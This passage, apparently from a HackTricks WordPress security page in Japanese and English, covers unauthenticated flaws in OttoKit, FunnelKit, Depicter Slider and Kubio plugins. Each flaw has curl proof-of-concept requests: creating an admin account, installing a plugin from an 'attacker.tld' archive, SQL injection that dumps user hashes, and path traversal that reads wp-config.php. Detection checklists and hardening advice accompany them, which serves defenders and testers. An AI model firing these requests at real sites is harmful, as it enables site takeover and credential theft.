# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
なぜ悪用可能か
- 機微な REST ルートが低エントロピーの識別証明(username)だけで保護されている、または permission_callback が欠如している
- 権限強制が行われておらず、発行されたキーが普遍的なバイパスとして受け入れられている
検出チェックリスト
- Grep でプラグインコードを検索: register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- リクエスト提供の識別情報(username/email)に基づいてトークン/キーを発行し、認証済みユーザーや capability に紐付けていないルート
- 発行済みのトークン/キーをサーバー側での権限チェックなしに受け入れる後続ルートを探す
対策
- 特権を要する REST ルートには、必要な capability に対して current_user_can() を実行する permission_callback を必須にする
- クライアント提供の識別情報から長期間有効なキーを発行しない。必要であれば、認証後に短期間有効でユーザーに紐づくトークンを発行し、使用時に再度 capability を確認する
- 呼び出し元のユーザーコンテキストを検証する(wp_set_current_user は単体では不十分)。!is_user_logged_in() || !current_user_can(
) の場合はリクエストを拒否する
Nonce gate misuse → 認証されていない任意のプラグインインストール (FunnelKit Automations ≤ 3.5.3)
Nonces は CSRF を防ぐものであり、authorization を防ぐものではない。コードが nonce の検証通過を許可サインと見なし、その後に特権操作(例: プラグインのインストール/有効化)に対する権限チェックをスキップすると、認証されていない攻撃者が弱い nonce 要件を満たしてバックドア入りや脆弱なプラグインをインストールし、RCE に至る可能性がある。
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
検出チェックリスト
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
ハードニング
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
未認証の SQLi — depicter-* アクションの s (search) パラメータ経由 (Depicter Slider ≤ 3.6.1)
複数の depicter-* アクションが s (search) パラメータを受け取り、パラメータ化せずに SQL クエリに連結していた。
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: データベースの情報持ち出し(users、hashes)、横方向への侵害
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
検出チェックリスト
- Grepでdepicter-*のactionハンドラと、SQL内での$_GET['s']または$_POST['s']の直接使用を探す
- $wpdb->get_results()/query()に渡されるカスタムクエリで、sを連結しているものを確認する
ハードニング
- 常に $wpdb->prepare() または wpdb のプレースホルダを使用する;サーバー側で予期しないメタ文字を拒否する
- s に対して厳格な許可リストを追加し、期待される文字セット/長さに正規化する
認証不要の Local File Inclusion — 未検証のテンプレート/ファイルパス経由 (Kubio AI Page Builder ≤ 2.5.1)
テンプレートパラメータで正規化/コンテインメントせずに攻撃者制御のパスを受け入れると、任意のローカルファイルの読み取りが可能になり、includable PHP/log files がランタイムに取り込まれる場合はコード実行になることがある。
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: 正規化/allowlistingなし;traversalが可能
- Impact: 機密情報の開示(wp-config.php)、特定環境では RCE の可能性(log poisoning、includable PHP)
PoC – wp-config.php を読み取る
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
検出チェックリスト
- realpath() による包含確認なしにリクエストパスを include()/require()/read シンクに連結しているハンドラがないか確認する
- 意図した templates ディレクトリの外に出る traversal パターン (../) を探す
堅牢化
- 許可リスト化されたテンプレートを強制する。realpath() で解決し、require str_starts_with(realpath(file), realpath(allowed_base)) を要求する
- 入力を正規化する。traversal シーケンスや絶対パスを拒否する。sanitize_file_name() はファイル名のみ(フルパスではなく)に使用する
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks